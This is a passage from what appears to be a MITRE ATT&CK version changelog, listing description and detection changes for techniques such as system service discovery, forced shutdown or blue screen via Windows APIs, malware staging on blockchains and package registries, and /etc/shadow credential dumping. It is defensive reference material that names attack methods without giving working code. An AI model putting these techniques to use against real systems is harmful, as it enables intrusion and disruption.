distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) + +In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.
x_mitre_version1.61.7
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Krebs 3cx overview 2023', 'description': 'Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.', 'url': 'https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/'}
x_mitre_contributorsMenachem Goldstein
x_mitre_contributorsDamien Miller-McAndrews
x_mitre_platformsSaaS

[T1007] System Service Discovery

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may try to gather information about registered lt1Adversaries may try to gather information about registered l
>ocal system services. Adversaries may obtain information abo>ocal system services. Adversaries may obtain information abo
>ut services using tools as well as OS utility commands such >ut services using tools as well as OS utility commands such 
>as <code>sc query</code>, <code>tasklist /svc</code>, <code>>as <code>sc query</code>, <code>tasklist /svc</code>, <code>
>systemctl --type=service</code>, and <code>net start</code>.>systemctl --type=service</code>, and <code>net start</code>.
>  Adversaries may use the information from [System Service D> Adversaries may also gather information about schedule task
>iscovery](https://attack.mitre.org/techniques/T1007) during >s via commands such as `schtasks` on Windows or `crontab -l`
>automated discovery to shape follow-on behaviors, including > on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2
>whether or not the adversary fully infects the target and/or>024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp
> attempts specific actions.>lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)  Adv
 >ersaries may use the information from [System Service Discov
 >ery](https://attack.mitre.org/techniques/T1007) during autom
 >ated discovery to shape follow-on behaviors, including wheth
 >er or not the adversary fully infects the target and/or atte
 >mpts specific actions.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:14:33.837000+00:002025-10-24 17:48:36.812000+00:00
descriptionAdversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. + +Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) + +Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
x_mitre_version1.51.6
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Aquasec Kinsing 2020', 'description': 'Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.', 'url': 'https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/'}
external_references{'source_name': 'Elastic Security Labs GOSAR 2024', 'description': 'Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.', 'url': 'https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar'}
external_references{'source_name': 'SentinelLabs macOS Malware 2021', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}
external_references{'source_name': 'Splunk Linux Gormir 2024', 'description': 'Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor’s TTPs. Retrieved May 22, 2025.', 'url': 'https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html'}

[T1529] System Shutdown/Reboot

Current version: 1.5

Version changed from: 1.4 → 1.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may shutdown/reboot systems to interrupt access t1Adversaries may shutdown/reboot systems to interrupt access 
>to, or aid in the destruction of, those systems. Operating s>to, or aid in the destruction of, those systems. Operating s
>ystems may contain commands to initiate a shutdown/reboot of>ystems may contain commands to initiate a shutdown/reboot of
> a machine or network device. In some cases, these commands > a machine or network device. In some cases, these commands 
>may also be used to initiate a shutdown/reboot of a remote c>may also be used to initiate a shutdown/reboot of a remote c
>omputer or network device via [Network Device CLI](https://a>omputer or network device via [Network Device CLI](https://a
>ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co>ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co
>de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert>de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert
>_TA18_106A) They may also include shutdown/reboot of a virtu>_TA18_106A) They may also include shutdown/reboot of a virtu
>al machine via hypervisor / cloud consoles or command line t>al machine via hypervisor / cloud consoles or command line t
>ools.  Shutting down or rebooting systems may disrupt access>ools.  Shutting down or rebooting systems may disrupt access
> to computer resources for legitimate users while also imped> to computer resources for legitimate users while also imped
>ing incident response/recovery.  Adversaries may attempt to >ing incident response/recovery.  Adversaries may also use Wi
>shutdown/reboot a system after impacting it in other ways, s>ndows API functions, such as `InitializeSystemShutdownExW` o
>uch as [Disk Structure Wipe](https://attack.mitre.org/techni>r `ExitWindowsEx`, to force a system to shut down or reboot.
>ques/T1561/002) or [Inhibit System Recovery](https://attack.>(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A
>mitre.org/techniques/T1490), to hasten the intended effects >lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi
>on system availability.(Citation: Talos Nyetya June 2017)(Ci>ndows API functions with the `ResponseOption` parameter set 
>tation: Talos Olympic Destroyer 2018)>to `OptionShutdownSystem` may deliver a “blue screen of deat
 >h” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais
 >eHardError)(Citation: NotMe-BSOD) In order to leverage these
 > API functions, an adversary may need to acquire `SeShutdown
 >Privilege` (e.g., via [Access Token Manipulation](https://at
 >tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2
 >023)  In some cases, the system may not be able to boot agai
 >n.   Adversaries may attempt to shutdown/reboot a system aft
 >er impacting it in other ways, such as [Disk Structure Wipe]
 >(https://attack.mitre.org/techniques/T1561/002) or [Inhibit 
 >System Recovery](https://attack.mitre.org/techniques/T1490),
 > to hasten the intended effects on system availability.(Cita
 >tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro
 >yer 2018)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Sensor Health: Host Status', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.950000+00:002025-10-24 17:49:40.145000+00:00
descriptionAdversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools. + +Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. + +Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools. + +Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. + +Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023) + In some cases, the system may not be able to boot again. + +Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionUse process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command.
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'NotMe-BSOD', 'description': 'lzcapp. (n.d.). Retrieved September 22, 2025.', 'url': 'https://github.com/lzcapp/NotMe-BSOD'}
external_references{'source_name': 'NtRaiseHardError', 'description': 'NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.', 'url': 'https://ntdoc.m417z.com/ntraiseharderror'}
external_references{'source_name': 'Unit42 Agrius 2023', 'description': 'Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.', 'url': 'https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/'}
external_references{'source_name': 'SonicWall', 'description': 'SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.', 'url': 'https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant'}
external_references{'source_name': 'CrowdStrike Blog', 'description': 'William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon® Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.', 'url': 'https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/'}

[T1588.002] Obtain Capabilities: Tool

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may buy, steal, or download software tools that t1Adversaries may buy, steal, or download software tools that 
>can be used during targeting. Tools can be open or closed so>can be used during targeting. Tools can be open or closed so
>urce, free or commercial. A tool can be used for malicious p>urce, free or commercial. A tool can be used for malicious p
>urposes by an adversary, but (unlike malware) were not inten>urposes by an adversary, but (unlike malware) were not inten
>ded to be used for those purposes (ex: [PsExec](https://atta>ded to be used for those purposes (ex: [PsExec](https://atta
>ck.mitre.org/software/S0029)). Tool acquisition can involve >ck.mitre.org/software/S0029)).   Adversaries may obtain tool
>the procurement of commercial software licenses, including f>s to support their operations, including to support executio
>or red teaming tools such as [Cobalt Strike](https://attack.>n of post-compromise behaviors. Tools may also be leveraged 
>mitre.org/software/S0154). Commercial software may be obtain>for testing – for example, evaluating malware against commer
>ed through purchase, stealing licenses (or licensed copies o>cial antivirus or endpoint detection and response (EDR) appl
>f the software), or cracking trial versions.(Citation: Recor>ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se
>ded Future Beacon 2019)  Adversaries may obtain tools to sup>ntinel Labs Top Tier Target 2025)  Tool acquisition may invo
>port their operations, including to support execution of pos>lve the procurement of commercial software licenses, includi
>t-compromise behaviors. In addition to freely downloading or>ng for red teaming tools such as Cobalt Strike. In addition 
> purchasing software, adversaries may steal software and/or >to freely downloading or purchasing software, adversaries ma
>software licenses from third-party entities (including other>y steal software and/or software licenses from third-party e
> adversaries).>ntities (including other adversaries). Threat actors may als
 >o crack trial versions of software.(Citation: Recorded Futur
 >e Beacon 2019)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:16:21.007000+00:002025-10-24 17:49:10.900000+00:00
descriptionAdversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) + +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). + +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025) + +Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionIn some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Sentinel Labs Top Tier Target 2025', 'description': ' Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today’s Adversaries. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/'}
external_references{'source_name': 'Forescout Conti Leaks 2022', 'description': 'Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.', 'url': 'https://www.forescout.com/resources/analysis-of-conti-leaks/'}
x_mitre_contributorsMenachem Goldstein

[T1059.004] Command and Scripting Interpreter: Unix Shell

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:56.647000+00:002025-10-24 17:49:12.476000+00:00
x_mitre_detectionUnix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
x_mitre_version1.31.4

[T1608.001] Stage Capabilities: Upload Malware

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may upload malware to third-party or adversary ct1Adversaries may upload malware to third-party or adversary c
>ontrolled infrastructure to make it accessible during target>ontrolled infrastructure to make it accessible during target
>ing. Malicious software can include payloads, droppers, post>ing. Malicious software can include payloads, droppers, post
>-compromise tools, backdoors, and a variety of other malicio>-compromise tools, backdoors, and a variety of other malicio
>us content. Adversaries may upload malware to support their >us content. Adversaries may upload malware to support their 
>operations, such as making a payload available to a victim n>operations, such as making a payload available to a victim n
>etwork to enable [Ingress Tool Transfer](https://attack.mitr>etwork to enable [Ingress Tool Transfer](https://attack.mitr
>e.org/techniques/T1105) by placing it on an Internet accessi>e.org/techniques/T1105) by placing it on an Internet accessi
>ble web server.  Malware may be placed on infrastructure tha>ble web server.  Malware may be placed on infrastructure tha
>t was previously purchased/rented by the adversary ([Acquire>t was previously purchased/rented by the adversary ([Acquire
> Infrastructure](https://attack.mitre.org/techniques/T1583))> Infrastructure](https://attack.mitre.org/techniques/T1583))
> or was otherwise compromised by them ([Compromise Infrastru> or was otherwise compromised by them ([Compromise Infrastru
>cture](https://attack.mitre.org/techniques/T1584)). Malware >cture](https://attack.mitre.org/techniques/T1584)). Malware 
>can also be staged on web services, such as GitHub or Pasteb>can also be staged on web services, such as GitHub or Pasteb
>in, or hosted on the InterPlanetary File System (IPFS), wher>in; hosted on the InterPlanetary File System (IPFS), where d
>e decentralized content storage makes the removal of malicio>ecentralized content storage makes the removal of malicious 
>us files difficult.(Citation: Volexity Ocean Lotus November >files difficult; or saved on the blockchain as smart contrac
>2020)(Citation: Talos IPFS 2022)  Adversaries may upload bac>ts, which are resilient against takedowns that would affect 
>kdoored files, such as application binaries, virtual machine>traditional infrastructure.(Citation: Volexity Ocean Lotus N
> images, or container images, to third-party software stores>ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E
> or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock>therhiding 2023)(Citation: Bleeping Computer Binance Smart C
>er Hub). By chance encounter, victims may directly download/>hain 2023)  Adversaries may upload backdoored files, such as
>install these backdoored files via [User Execution](https://> software packages, application binaries, virtual machine im
>attack.mitre.org/techniques/T1204). [Masquerading](https://a>ages, or container images, to third-party software stores, p
>ttack.mitre.org/techniques/T1036) may increase the chance of>ackage libraries, extension marketplaces, or repositories (e
> users mistakenly executing these files.>x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).
 >(Citation: Datadog Security Labs Malicious PyPi Packages 202
 >4) By chance encounter, victims may directly download/instal
 >l these backdoored files via [User Execution](https://attack
 >.mitre.org/techniques/T1204). Masquerading, including typo-s
 >quatting legitimate software, may increase the chance of use
 >rs mistakenly executing these files. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:17:57.194000+00:002025-10-24 17:48:41.583000+00:00
descriptionAdversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. + +Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022) + +Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. + +Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023) + +Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionIf infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Datadog Security Labs Malicious PyPi Packages 2024', 'description': ' Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/'}
external_references{'source_name': 'Bleeping Computer Binance Smart Chain 2023', 'description': 'Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/'}
external_references{'source_name': 'Guardio Etherhiding 2023', 'description': 'Nati Tal and Oleg Zaytsev. (2023, October 13). “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.', 'url': 'https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16'}
x_mitre_contributorsAdam Hunt
x_mitre_contributorsRay Jasinski

[T1071.001] Application Layer Protocol: Web Protocols

Current version: 1.5

Version changed from: 1.4 → 1.5

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:14.227000+00:002025-10-24 17:49:29.591000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) + +Monitor for web traffic to/from known-bad or suspicious domains.
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1016.002] System Network Configuration Discovery: Wi-Fi Discovery

Current version: 1.1

Version changed from: 1.0 → 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:21:00.705000+00:002025-10-24 17:48:44.123000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
x_mitre_version1.01.1
Patches

[T1003.008] OS Credential Dumping: /etc/passwd and /etc/shadow

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:09.955000+00:002025-10-24 17:49:25.253000+00:00
x_mitre_detectionThe AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.

[T1557.002] Adversary-in-the-Middle: ARP Cache Poisoning

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:43:10.406000+00:002025-10-24 17:49:23.221000+00:00
x_mitre_detectionMonitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. + +Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.

[T1558.004] Steal or Forge Kerberos Tickets: AS-REP Roasting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Credential Request']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:23.309000+00:002025-10-24 17:48:39.884000+00:00
x_mitre_detectionEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)

[T1548] Abuse Elevation Control Mechanism

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'User Account: User Account Modification', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:37.690000+00:002025-10-24 17:48:53.277000+00:00
